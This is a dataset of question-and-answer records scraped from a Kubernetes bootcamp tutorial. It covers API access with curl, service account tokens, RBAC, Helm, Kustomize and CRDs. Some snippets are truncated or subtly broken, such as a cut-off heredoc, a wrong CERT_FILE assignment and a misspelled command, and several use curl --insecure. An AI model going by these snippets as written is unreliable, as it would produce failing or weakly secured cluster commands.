'{\"apiVersion\":\"apps/v1\",\"kind\":\"Deployment\",\"metadata\":{\"labels\":{\"kit\":\"high-app\"},\"name\":\"high-app\",\"namespace\":\"hog\"},\"spec\":{\"replicas\":4,\"selector\":{\"matchLabels\":{\"box\":\"high-app-child\"}},\"template\":{\"metadata\":{\"labels\":{\"box\":\"high-app-child\"}},\"spec\":{\"containers\":[{\"image\":\"nginx:1.15-alpine\",\"name\":\"nginx\",\"ports\":[{\"containerPort\":80}]}]}}}}' > high-app.json; kubectl apply -f high-app.json  >/dev/null; echo 'lab: environment setup complete!';\n  ```\n- Command to destroy environment:\n  ```sh\n  kubectl delete ns hog\n  ```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755478"}
{"id": "gh_0de87db61901", "question": "How to: Understanding the API", "question_body": "About piouson/kubernetes-bootcamp", "answer": "When you deploy Kubernetes, you get a cluster. See [Kubernetes cluster components](https://kubernetes.io/docs/concepts/overview/components) for more details.\nkubectl\nflow diagram\n![kubectl flow diagram from medium.com](https://user-images.githubusercontent.com/17856665/188337178-851605cc-838e-4c0c-987c-c1f43a42abd0.png)\nkubectl forwards command to the API Server\nAPI Server validates the request and persists it to etcd\netcd notifies the API Server\nAPI Server invokes the Scheduler\nScheduler will lookup eligible nodes to run the pod and return that to the API Server\nAPI Server persists it to etcd\netcd notifies the API Server\nAPI Server invokes the Kubelet in the corresponding node\nKubelet talks to the Docker daemon using the API over the Docker socket to create the container\nKubelet updates the pod status to the API Server (success or failure, failure invokes RestartPolicy)\nAPI Server persists the new state in etcd\nUse `kubectl api-resources | less` for an overview of available API resources.\n\n- `APIVERSION`\n  - `v1` core Kubernetes API group\n  - `apps/v1` first extension to the core group\n  - during deprecation/transition, multiple versions of the same resource may be available, e.g. `policy/v1` and `policy/v1beta1`\n- `NAMESPACED` controls visibility\n\n> The Kubernetes **release cycle is 3 months** and deprecated features are supported for a minimum of 2 release cycles (6 months).\n> Respond to deprecation message swiftly, you may use **`kubectl api-versions`** to view a short list of API versions and **`kubectl explain --recursive`** to get more details on affected resources. \\\n> The current API docs at time of writing is `https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.25/`\n\n#### kube-apiserver\n\nThe [Kubernetes API server `kube-apiserver`](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/) is the interface to access all Kubernetes features, which include pods, services, replicationcontrollers, and others.\n\nFrom within a Pod, the API server is accessible via a Service named `kubernetes` in the `default` namespace. Therefore, Pods can use the **`kubernetes.default.svc`** hostname to query the API server.\n\n#### kube-proxy\n\nIn our minikube lab so far, we have been working with direct access to a cluster node, which removes the need for `kube-proxy`. When using the Kubernetes CLI `kubectl`, it uses stored TLS certificates in `~/.kube/config` to make secured requests to the `kube-apiserver`.\n\nHowever, direct access is not always possible with K8s in the cloud. The [Kubernetes network proxy `kube-proxy`](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/) runs on each node and make it possible to access `kube-apiserver` securely by other applications like `curl` or programmatically.\n\n> See the [official _so many proxies_ docs](https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/#so-many-proxies) for the different proxies you may encounter when using Kubernetes.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755488"}
{"id": "gh_64c1835d0f13", "question": "How to: list pods with curl", "question_body": "About piouson/kubernetes-bootcamp", "answer": "curl localhost:PORT/api/v1/namespaces/default/pods", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755493"}
{"id": "gh_58b111b18dea", "question": "How to: get specific pod with curl", "question_body": "About piouson/kubernetes-bootcamp", "answer": "curl localhost:PORT/api/v1/namespaces/default/pods/$POD_NAME", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755497"}
{"id": "gh_a4c66e648c54", "question": "How to: delete specific pod with curl", "question_body": "About piouson/kubernetes-bootcamp", "answer": "curl -XDELETE localhost:PORT/api/v1/namespaces/default/pods/$POD_NAME\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755501"}
{"id": "gh_0563aab65b9d", "question": "How to: Directly accessing the REST API", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Two things are required to access a cluster - the **location** of the cluster and the **credentials** to access it. Thus far, we have used `kubectl` to access the API by running `kubectl` commands. The location and credentials that `kubectl` uses were automatically configured by Minikube during our [Minikube environment setup](#4-kubernetes-lab-environment).\n\nRun `kubectl config view` to see the location and credentials configured for `kubectl`.\n```\nkubectl config view\n```\n![image](https://user-images.githubusercontent.com/17856665/184899506-47878132-dc9b-4a6a-8491-080fe56c6261.png)", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755508"}
{"id": "gh_3380a2ce4ea5", "question": "How to: Lab 13.1. Using kubectl proxy to access the API", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Rather than run `kubectl` commands directly, we can use `kubectl` as a reverse proxy to provide the location and authenticate requests. See [access the API using kubectl proxy](https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/#using-kubectl-proxy) for more details.\n\nYou may follow the [official _accessing the rest api_ docs](https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/#directly-accessing-the-rest-api)\n\n1. Expose the API with `kube-proxy`\n2. Confirm k8s version information with `curl`\n3. Explore the k8s API with curl\n4. Create a deployment\n5. List the pods created with `curl`\n6. Get details of a specific pod with `curl`\n7. Delete the pod with `curl`\n8. Confirm pod deletion", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755519"}
{"id": "gh_022d0f895b23", "question": "How to: Checking API access", "question_body": "About piouson/kubernetes-bootcamp", "answer": "`kubectl` provides the `auth can-i` subcommand for [quickly querying the API authorization layer](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access).\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755524"}
{"id": "gh_4bee4d1f4a06", "question": "How to: check if deployments can be created in a namespace", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl auth can-i create deployments --namespace dev", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755528"}
{"id": "gh_5946054c7031", "question": "How to: check if a specific user can list secrets", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl auth can-i list secrets --namespace dev --as dave\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755532"}
{"id": "gh_6d598121d3a5", "question": "How to: Service Accounts", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Just as user accounts identifies humans, a service account identifies processes running in a Pod.\n\n- Service Accounts are the recommended way to authenticate to the API server within the k8s cluster\n- A Pod created without specifying a ServiceAccount is automatically assigned the `default` ServiceAccount\n- When a new ServiceAccount is created, a Secret is auto-created to hold the credentials required to access the API server\n- The ServiceAccount credentials of a Pod are automounted with the Secret in each container within the Pod at:\n  - token `/var/run/secrets/kubernetes.io/serviceaccount/token`\n  - certificate (if available) `/var/run/secrets/kubernetes.io/serviceaccount/ca.crt`\n  - default namespace `/var/run/secrets/kubernetes.io/serviceaccount/namespace`\n- You can opt out of automounting API credentials for a ServiceAccount by setting `automountServiceAccountToken: false` on the ServiceAccount. Note that the pod spec takes precedence over the service account if both specify a `automountServiceAccountToken` value", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755539"}
{"id": "gh_aab362024a6c", "question": "How to: Lab 13.2. Accessing the API without kubectl proxy", "question_body": "About piouson/kubernetes-bootcamp", "answer": "This requires using the token of the default ServiceAccount. The token can be read directly (see [lab 11.4 - decoding secrets](#lab-114-decoding-secrets)), but the recommended way to get the token is via the [TokenRequest API](https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/).\n\nYou may follow the [official _access the API **without** kubectl proxy_ docs](https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/#without-kubectl-proxy).\n\n1. Request the ServiceAccount token by YAML. You can also request by [`kubectl create token $SERVICE_ACCOUNT_NAME`](https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#-em-token-em-) on Kubernetes v1.24+.\n2. Wait for the token controller to populate the Secret with a token\n3. Use `curl` to access the API with the generated token as credentials\nlab 13.2 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755544"}
{"id": "gh_98edc2c1aab3", "question": "How to: request token", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl apply -f - <", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755553"}
{"id": "gh_f356000849d3", "question": "How to: Lab 13.3. Accessing the API from inside a Pod", "question_body": "About piouson/kubernetes-bootcamp", "answer": "You may follow the [official _access the API from within a Pod_ docs](https://kubernetes.io/docs/tasks/run-application/access-api-from-pod/#without-using-a-proxy).\n\n> From within a Pod, the Kubernetes API is accessible via the `kubernetes.default.svc` hostname\n\n1. Connect an interactive shell to a container in a running Pod (create one or use existing)\n2. Use `curl` to access the API at `kubernetes.default.svc/api` with the automounted ServiceAccount credentials (`token` and `certificate`)\n3. Can you access the Pods list at `kubernetes.default.svc/api/v1/namespaces/default/pods`?\nlab 13.3 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755560"}
{"id": "gh_e43e71378cbe", "question": "How to: use token stored within container to access API", "question_body": "About piouson/kubernetes-bootcamp", "answer": "SA=/var/run/secrets/kubernetes.io/serviceaccount\nCERT_FILE=$($SA/ca.crt)\nTOKEN=$(cat $SA/token)\ncurl --cacert $CERT_FILE --header \"Authorization: Bearer $TOKEN\" https://kubernetes.default.svc/api\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755565"}
{"id": "gh_c88acb04e718", "question": "How to: ServiceAccount permissions", "question_body": "About piouson/kubernetes-bootcamp", "answer": "The Default RBAC policies grant scoped permissions to control-plane components, nodes, and controllers, but grant no permissions to service accounts outside the kube-system namespace (beyond discovery permissions given to all authenticated users).\n\nThere are [different ServiceAccount permission approaches](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#service-account-permissions), but we will only go over two:\n\n- Grant a role to an application-specific service account (**best practice**)\n  - requires the `serviceAccountName` specified in the pod spec, and for the ServiceAccount to have been created\n- Grant a role to the `default` service account in a namespace\n  - permissions given to the `default` service account are available to any pod in the namespace that does not specify a `serviceAccountName`. **This is a security concern in live environments without RBAC**\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755571"}
{"id": "gh_598c6e5e42c7", "question": "How to: create a service account imperatively", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create service account $SERVICE_ACCOUNT_NAME", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755575"}
{"id": "gh_6ab58c9e1797", "question": "How to: assign service account to a deployment", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl set serviceaccount deploy $DEPLOYMENT_NAME $SERVICE_ACCOUNT_NAME", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755579"}
{"id": "gh_1904d584b229", "question": "How to: create a role that allows users to perform get, watch and list on pods, see `kubectl create role -h`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create role $ROLE_NAME --verb=get --verb=list --verb=watch --resource=pods", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755584"}
{"id": "gh_2523779a772b", "question": "How to: grant permissions in a Role to a user within a namespace", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create rolebinding $ROLE_BINDING_NAME --role=$ROLE_NAME --user=$USER --namespace=$NAMESPACE", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755590"}
{"id": "gh_0628b154ab38", "question": "How to: grant permissions in a ClusterRole to a user across the entire cluster", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create clusterrolebinding $CLUSTERROLE_BINDING_NAME --clusterrole=$CLUSTERROLE_NAME --user=$USER", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755600"}
{"id": "gh_d69076218f04", "question": "How to: grant permissions in a ClusterRole to an application-specific service account within a namespace", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create rolebinding $ROLE_BINDING_NAME --clusterrole=$CLUSTERROLE_NAME --serviceaccount=$NAMESPACE:$SERVICE_ACCOUNT_NAME --namespace=$NAMESPACE", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755604"}
{"id": "gh_f784ecdfdda8", "question": "How to: Lab 13.4. Exploring RBAC", "question_body": "About piouson/kubernetes-bootcamp", "answer": "In [lab 13.3](#lab-133-accessing-the-api-from-inside-a-pod) we were unable to access the PodList API at `kubernetes.default.svc/api/v1/namespaces/default/pods`. Lets apply the required permissions to make this work.\n\n1. Create a ServiceAccount and verify\n2. Create a Role with permissions to list pods and verify\n3. Create a RoleBinding that grants the Role permissions to the ServiceAccount, within the `default` namespace, and verify\n4. Create a \"naked\" Pod bound to the ServiceAccount\n5. Connect an interactive shell to the Pod and use `curl` to PodList API\n6. Can you access the API to get a specific Pod like the one you're running? Hint: Role permissions\n7. Can you use a deployment instead of a \"naked\" Pod?\nlab 13.4 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755613"}
{"id": "gh_9f2ce6440304", "question": "How to: create service account yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create serviceaccount test-sa --dry-run=client -o yaml > lab13-4.yaml\necho --- >> lab13-4.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755617"}
{"id": "gh_fa6ddd53059f", "question": "How to: create role yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create role test-role --resource=pods --verb=list --dry-run=client -o yaml >> lab13-4.yaml\necho --- >> lab13-4.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755621"}
{"id": "gh_04f74e2f982c", "question": "How to: create configmap yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create configmap test-cm --from-literal=\"SA=/var/run/secrets/kubernetes.io/serviceaccount\" --dry-run=client -o yaml >> lab13-4.yaml\necho --- >> lab13-4.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755632"}
{"id": "gh_d7c27195e9d0", "question": "How to: create pod yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl run test-pod --image=nginx --dry-run=client -o yaml >> lab13-4.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755636"}
{"id": "gh_07b9bf9104ea", "question": "How to: verify resources", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl get sa test-sa\nkubectl describe sa test-sa | less\nkubectl get role test-role\nkubectl describe role test-role | less\nkubectl get rolebinding test-rolebinding\nkubectl describe rolebinding test-rolebinding | less\nkubectl get configmap test-cm\nkubectl describe configmap test-cm | less\nkubectl get pod test-pod\nkubectl describe pod test-pod | less", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755643"}
{"id": "gh_08efbd2111a1", "question": "How to: access k8s API from within the pod", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl exec -it test-pod -- bash\nTOKEN=$(cat $SA/token)\nHEADER=\"Authorization: Bearer $TOKEN\"\ncurl -H $HEADER https://kubernetes.default.svc/api --insecure\ncurl -H $HEADER https://kubernetes.default.svc/api/v1/namespaces/default/pods --insecure\ncurl -H $HEADER https://kubernetes.default.svc/api/v1/namespaces/default/pods/$POD_NAME --insecure\ncurl -H $HEADER https://kubernetes.default.svc/api/v1/namespaces/default/deployments --insecure\nexit", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755649"}
{"id": "gh_c0a9970c6d74", "question": "How to: Task - Service account", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Coming soon, accepting pull-requests", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755654"}
{"id": "gh_9d0482562daf", "question": "How to: helm installation steps", "question_body": "About piouson/kubernetes-bootcamp", "answer": "VER=$(curl -s https://api.github.com/repos/helm/helm/releases/latest | grep tag_name | cut -d '\"' -f 4 | sed 's/v//g')\nwget https://get.helm.sh/helm-v$VER-linux-amd64.tar.gz # macOS replace with `darwin-amd64`\ntar xvf helm-v3.9.3-linux-amd64.tar.gz\nsudo install linux-amd64/helm /usr/local/bin\nrm helm-v$VER-linux-amd64.tar.gz\nhelm version\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755660"}
{"id": "gh_3e1db24588e9", "question": "How to: ArtifactHUB", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[ArtifactHUB](https://artifacthub.io/) is a Helm Charts registry, like [docker hub](https://hub.docker.com/) or the [npm registry](https://www.npmjs.com/), used to find, install and publish Charts.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755666"}
{"id": "gh_7e7f39c86d1c", "question": "How to: install helm chart from an added repo", "question_body": "About piouson/kubernetes-bootcamp", "answer": "helm install $RELEASE_NAME $RELEASE_NAME/$CHART_NAME", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755673"}
{"id": "gh_5001e89b01d2", "question": "How to: show details of a chart", "question_body": "About piouson/kubernetes-bootcamp", "answer": "helm show chart $RELEASE_NAME/$CHART_NAME\nhelm show all $RELEASE_NAME/$CHART_NAME", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755680"}
{"id": "gh_d8425e87bd05", "question": "How to: uninstall helm chart", "question_body": "About piouson/kubernetes-bootcamp", "answer": "helm uninstall $RELEASE_NAME\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755685"}
{"id": "gh_2f00ecc120ec", "question": "How to: Lab 14.1. Explore Helm Charts", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. [Install Helm](https://github.com/helm/helm#install)\n2. List installed Helm Charts\n3. List installed Helm repos\n4. Find and install a Chart from [ArtifactHUB](https://artifacthub.io/)\n5. View resources created in your cluster by the Helm Chart\n6. Update Helm repo\n7. List installed Helm Charts\n8. List installed Helm repos\n9. View details of installed Chart\n10. View status of installed Chart\n11. Search for available Charts in added Helm repo", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755691"}
{"id": "gh_20336c0f1bc2", "question": "How to: Helm templates", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Helm Charts come with preset configuration stored in a YAML file, some of which may not be of use to you. One powerful feature of Helm is the option to customise the base chart configuration before installation.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755695"}
{"id": "gh_9b16a44cf530", "question": "How to: install chart from template", "question_body": "About piouson/kubernetes-bootcamp", "answer": "helm install -f /path/to/values.yaml {$NAME|--generate-name} /path/to/template/directory", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755700"}
{"id": "gh_0498308c0482", "question": "How to: Lab 14.2. Customising Helm Charts", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Download a Chart template and extract the content to a specified directory\n2. Edit the template and change any value\n3. Verify the edited template\n4. Install the edited template\n5. View resources created by the Helm Chart\n6. List installed Charts\n7. List installed Helm repos", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755707"}
{"id": "gh_0fbc395c9d03", "question": "How to: create resources from a kustomization file", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl apply -k /path/to/directory/containing/kustomization.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755716"}
{"id": "gh_1130df321365", "question": "How to: view resources found in a directory containing a kustomization file", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl kustomize /path/to/directory/containing/kustomization.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755720"}
{"id": "gh_863b062de788", "question": "How to: Lab 14.3. Kustomize resources", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a `service.yaml` resource file for a service\n2. Create a `deployment.yaml` resource file for an app using the service\n3. Create a `kustomization.yaml` file with name prefix/suffix and common labels for both resource files\n4. Apply the Kustomization file to create the resources\n5. Review resources created and confirm that the prefix/suffix and labels are applied", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755734"}
{"id": "gh_b33cf8993445", "question": "How to: Custom Resource Definition (CRD)", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A _Resource_ is an endpoint in the Kubernetes API that stores a collection of [API objects](https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/) of a certain kind; for example, the Pods resource contains a collection of Pod objects.\n\nA [_Custom Resource_](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) is an extension of the Kubernetes API that is not necessarily available in a default Kubernetes installation. Many core Kubernetes functions are now built using custom resources, making Kubernetes more modular.\n\nAlthough, we only focus on one, there are [two ways to add custom resources](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/#comparing-ease-of-use) to your cluster:\n\n- [CRDs](https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#create-a-customresourcedefinition) allows user-defined resources to be added to the cluster. They are simple and can be created without any programming. In reality, [Operators](#operator-pattern) are preferred to CRDs.\n- [API Aggregation](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/apiserver-aggregation/) requires programming, but allows more control over API behaviors like how data is stored and conversion between API versions.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755739"}
{"id": "gh_d668f13a5ca4", "question": "How to: CRD example \"resourcedefinition.yaml\"", "question_body": "About piouson/kubernetes-bootcamp", "answer": "apiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n  name: crontabs.stable.example.com # must match `\n.\n` spec fields below\nspec:\n  group: stable.example.com # REST API: /apis/\n/\nversions: # list of supported versions\n    - name: v1\n      served: true # enabled/disabled this version, controls deprecations\n      storage: true # one and only one version must be storage version.\n      schema:\n        openAPIV3Schema:\n          type: object\n          properties:\n            spec:\n              type: object\n              properties:\n                cronSpec:\n                  type: string\n                image:\n                  type: string\n                replicas:\n                  type: integer\n  scope: Namespaced # or Cluster\n  names:\n    plural: crontabs # REST API: /apis/\n/\n/\nsingular: crontab # used for display and as alias on CLI\n    kind: CronTab # CamelCased singular type for resource manifests.\n    shortNames:\n    - ct # allow `crontab|ct` to match this resource on CLI\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": 